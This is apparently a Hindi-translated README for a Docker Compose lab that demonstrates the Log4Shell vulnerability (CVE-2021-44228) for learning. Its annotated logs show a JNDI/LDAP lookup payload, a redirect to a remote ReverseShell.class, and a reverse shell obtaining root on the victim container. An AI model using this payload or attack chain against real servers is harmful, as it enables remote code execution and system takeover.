
एक स्व-निहित प्रयोगशाला वातावरण जो एक्सप्लॉइट को सुरक्षित रूप से चलाता है, पूरी तरह से docker compose से।
यह एक स्व-निहित प्रयोगशाला वातावरण है जो डॉकर कंपोज़ से सुरक्षित रूप से एक्सप्लॉइट चलाता है।
प्रभावित संस्करण Apache Log4j <=2.0–2.14.1 हैं और CVE को CVE-2021-44228 (CVSS स्कोर: 10.0) के रूप में ट्रैक किया गया है।
इस कोड के लिए Docker और Docker Compose की आवश्यकता है।
Dockerfile और docker-compose.yml फ़ाइलें प्रयोगशाला वातावरण को बनाने और शुरू करने के लिए स्व-व्याख्यात्मक हैं।
पीड़ित सर्वर log4shell-server spring initializr डेमो प्रोजेक्ट का उपयोग करके बनाया गया है, जिसमें spring-boot-starter-log4j2 2.6.1 के माध्यम से Log4j 2.14.1 कमजोर संस्करण शामिल है।
कमजोर कोड DemoApplication.java में स्थित है।
दूरस्थ कोड निष्पादन को rce-server द्वारा प्रदान किया जाता है।
मध्यवर्ती LDAP सर्वर Java Unmarshaller Security - Turning your data into code execution पर आधारित है।
अटैक वेक्टर इस स्क्रिप्ट से किया जाता है ताकि reverse-shell सर्वर से कनेक्शन सेट किया जा सके।
Reverse-shell सर्वर एक कनेक्शन की प्रतीक्षा करता है, और रिवर्स शेल के माध्यम से एक कमांड उदाहरण echo $(whoami) भेजता है, जो पीड़ित सर्वर log4shell-server पर निष्पादित होता है।
git clone https://github.com/j3kz/CVE-2021-44228-PoC.git
cd CVE-2021-44228-PoC
docker compose up
ldap-server | Listening on 0.0.0.0:1389
LDAP सर्वर तैयार और सुन रहा है।
reverse-shell | listening on [::]:4242 ...
Reverse-shell सर्वर तैयार और सुन रहा है।
log4shell-server |
log4shell-server | . ____ _ __ _ _
log4shell-server | /\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
log4shell-server | ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
log4shell-server | \\/ ___)| |_)| | | | | || (_| | ) ) ) )
log4shell-server | ' |____| .__|_| |_|_| |_\__, | / / / /
log4shell-server | =========|_|==============|___/=/_/_/_/
log4shell-server | :: Spring Boot :: (v2.6.1)
log4shell-server |
log4shell-server | 2021-12-18 12:31:37.695 INFO 1 --- [ main] c.e.d.DemoApplication : Starting DemoApplication using Java 1.8.0_181 on 46edaaf2f7eb with PID 1 (/app/spring-boot-application.jar started by root in /)
log4shell-server | 2021-12-18 12:31:37.739 INFO 1 --- [ main] c.e.d.DemoApplication : No active profile set, falling back to default profiles: default
log4shell-server | 2021-12-18 12:31:42.337 INFO 1 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat initialized with port(s): 8080 (http)
log4shell-server | 2021-12-18 12:31:42.439 INFO 1 --- [ main] o.a.c.c.StandardService : Starting service [Tomcat]
log4shell-server | 2021-12-18 12:31:42.440 INFO 1 --- [ main] o.a.c.c.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.55]
log4shell-server | 2021-12-18 12:31:42.717 INFO 1 --- [ main] o.a.c.c.C.[.[.[/] : Initializing Spring embedded WebApplicationContext
log4shell-server | 2021-12-18 12:31:42.718 INFO 1 --- [ main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 4549 ms
log4shell-server | 2021-12-18 12:31:44.660 INFO 1 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path ''
कमजोर सर्वर तैयार और सुन रहा है।
attack-vector | 👌 log4shell-server:8080 is listening!
attack-vector | 🚀 Sending attack vector ...
अटैक सर्वर कनेक्शन की प्रतीक्षा कर रहा है और अटैक-वेक्टर भेज रहा है।
log4shell-server | 2021-12-18 12:31:44.740 INFO 1 --- [ main] c.e.d.DemoApplication : Started DemoApplication in 8.402 seconds (JVM running for 11.113)
log4shell-server | 2021-12-18 12:31:45.110 INFO 1 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/] : Initializing Spring DispatcherServlet 'dispatcherServlet'
log4shell-server | 2021-12-18 12:31:45.110 INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet : Initializing Servlet 'dispatcherServlet'
log4shell-server | 2021-12-18 12:31:45.112 INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet : Completed initialization in 2 ms
ldap-server | Send LDAP reference result for attack-vector redirecting to http://rce-server:3000/ReverseShell.class
rce-server | 172.31.0.3 - - [18/Dec/2021:12:31:45 +0000] "GET /ReverseShell.class HTTP/1.1" 200 891 "" "Java/1.8.0_181"
कमजोर सर्वर अनुरोध निष्पादित कर रहा है, उसे लॉग कर रहा है, इसलिए LDAP सर्वर RCE सर्वर से RCE का अनुरोध कर रहा है।
reverse-shell | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:43877 ([::ffff:172.31.0.3]:43877)
reverse-shell | 👻 Hello from the log4shell-server! We are root.
reverse-shell | listening on [::]:4242 ...
reverse-shell | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:41249 ([::ffff:172.31.0.3]:41249)
RCE निष्पादित होता है और पीड़ित सर्वर रिवर्स शेल खोल रहा है, और reverse-shell सर्वर दूरस्थ कमांड निष्पादित करने में सक्षम है।
log4shell-server | 2021-12-18 12:31:45.187 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello param:name: ReverseShell@22fb868
log4shell-server | 2021-12-18 12:31:45.345 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello header:host: log4shell-server:8080
log4shell-server | 2021-12-18 12:31:45.345 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello header:user-agent: curl/7.80.0
log4shell-server | 2021-12-18 12:31:45.345 INFO 1 --- [nio-8080-exec-1] Demo : GET /hello header:accept: */*
पीड़ित सर्वर अटैक वेक्टर अनुरोध को लॉग कर रहा है।
attack-vector | 🔥 Server returned:
attack-vector | > HTTP/1.1 200
attack-vector | > Content-Type: text/plain;charset=UTF-8
attack-vector | > Content-Length: 52
attack-vector | > Date: Sat, 18 Dec 2021 12:31:45 GMT
attack-vector | >
attack-vector | > Hello ${jndi:ldap://ldap-server:1389/attack-vector}!
attack-vector | Attack should be successfull, have a nice day!
अटैक वेक्टर अनुरोध प्रतिक्रिया को लॉग कर रहा है, और बाहर निकल जाता है।
यह रिपॉजिटरी केवल कमजोरी से सीखने के बारे में है।
यह प्रोजेक्ट पीड़ित सर्वर के मालिक की सहमति के बिना CVE-2021-44228 के दुर्भावनापूर्ण शोषण के रूप में उपयोग के लिए अभिप्रेत नहीं है और इसका उपयोग नहीं किया जा सकता है।
दुर्भावनापूर्ण गतिविधि के लिए कोई भी उपयोग निषिद्ध है और गंभीर कानूनों द्वारा दंडित किया जाता है।